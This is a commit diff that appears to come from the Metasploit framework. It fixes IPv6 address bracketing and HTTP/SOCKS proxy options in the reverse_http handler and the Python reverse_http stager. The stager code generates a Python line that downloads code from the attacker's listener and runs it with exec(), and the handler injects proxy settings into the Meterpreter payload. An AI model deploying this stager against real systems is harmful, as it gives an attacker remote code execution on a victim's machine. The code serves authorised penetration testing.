Skip to content

Commit 2ab14e7

Browse files
author
HD Moore
committed
Adds IPv6 and option-related issues with the previous patch
1 parent 0601946 commit 2ab14e7

File tree

2 files changed

+33
-26
lines changed

2 files changed

+33
-26
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 16 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -58,33 +58,25 @@ def initialize(info = {})
5858
], Msf::Handler::ReverseHttp)
5959
end
6060

61-
# Toggle for IPv4 vs IPv6 mode
62-
#
63-
def ipv6?
64-
Rex::Socket.is_ipv6?(datastore['LHOST'])
65-
end
66-
6761
# Determine where to bind the server
6862
#
6963
# @return [String]
7064
def listener_address
71-
if datastore['ReverseListenerBindAddress'].to_s.empty?
72-
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
65+
if datastore['ReverseListenerBindAddress'].to_s == ""
66+
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
7367
else
7468
bindaddr = datastore['ReverseListenerBindAddress']
7569
end
7670

7771
bindaddr
7872
end
7973

74+
# Return a URI suitable for placing in a payload
75+
#
8076
# @return [String] A URI of the form +scheme://host:port/+
8177
def listener_uri
82-
if ipv6?
83-
listen_host = "[#{listener_address}]"
84-
else
85-
listen_host = listener_address
86-
end
87-
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
78+
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
79+
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
8880
end
8981

9082
# Return a URI suitable for placing in a payload.
@@ -192,22 +184,24 @@ def lookup_proxy_settings
192184
info[:port] = (datastore['PROXY_PORT'] || 8080).to_i
193185
info[:type] = datastore['PROXY_TYPE'].to_s
194186

195-
if info[:port] == 80
196-
info[:info] = info[:host]
197-
else
198-
info[:info] = "#{info[:host]}:#{info[:port]}"
187+
uri_host = info[:host]
188+
189+
if Rex::Socket.is_ipv6?(uri_host)
190+
uri_host = "[#{info[:host]}]"
199191
end
200192

201-
if info[:type] == "HTTP"
193+
info[:info] = "#{uri_host}:#{info[:port]}"
194+
195+
if info[:type] == "SOCKS"
196+
info[:info] = "socks=#{info[:info]}"
197+
else
202198
info[:info] = "http://#{info[:info]}"
203199
if datastore['PROXY_USERNAME'].to_s != ""
204200
info[:username] = datastore['PROXY_USERNAME'].to_s
205201
end
206202
if datastore['PROXY_PASSWORD'].to_s != ""
207203
info[:password] = datastore['PROXY_PASSWORD'].to_s
208204
end
209-
else
210-
info[:info] = "socks=#{info[:info]}"
211205
end
212206

213207
@proxy_settings = info
@@ -242,7 +236,7 @@ def on_request(cli, req, obj)
242236
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
243237
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
244238

245-
if @proxy_settings[:host] && @proxy_settings[:type] == "HTTP"
239+
if @proxy_settings[:host]
246240
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(@proxy_settings[:info])}'")
247241
end
248242

modules/payloads/stagers/python/reverse_http.rb

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,8 @@ def initialize(info = {})
2828
[
2929
OptString.new('PROXY_HOST', [false, "The proxy server's IP address"]),
3030
OptPort.new('PROXY_PORT', [true, "The proxy port to connect to", 8080 ]),
31+
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentication"]),
32+
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentication"])
3133
], Msf::Handler::ReverseHttp)
3234
end
3335

@@ -41,21 +43,32 @@ def generate
4143
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
4244
}
4345

44-
target_url = 'http://'
45-
target_url << lhost
46+
if Rex::Socket.is_ipv6?(lhost)
47+
target_url = "http://[#{lhost}]"
48+
else
49+
target_url = "http://#{lhost}"
50+
end
51+
4652
target_url << ':'
4753
target_url << datastore['LPORT'].to_s
4854
target_url << '/'
4955
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
5056

57+
proxy_host = datastore['PROXY_HOST'].to_s
58+
proxy_port = datastore['PROXY_PORT'].to_i
59+
5160
cmd = "import sys\n"
52-
if datastore['PROXY_HOST'].to_s == ''
61+
if proxy_host == ''
5362
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
5463
else
55-
proxy_url = "http://#{datastore['PROXY_HOST']}:#{datastore['PROXY_PORT']}"
64+
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
65+
"http://[#{proxy_host}]:#{proxy_port}" :
66+
"http://#{proxy_host}:#{proxy_port}"
67+
5668
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
5769
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
5870
end
71+
5972
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
6073
cmd << "exec(o.open('#{target_url}').read())\n"
6174

0 commit comments

Comments
 (0)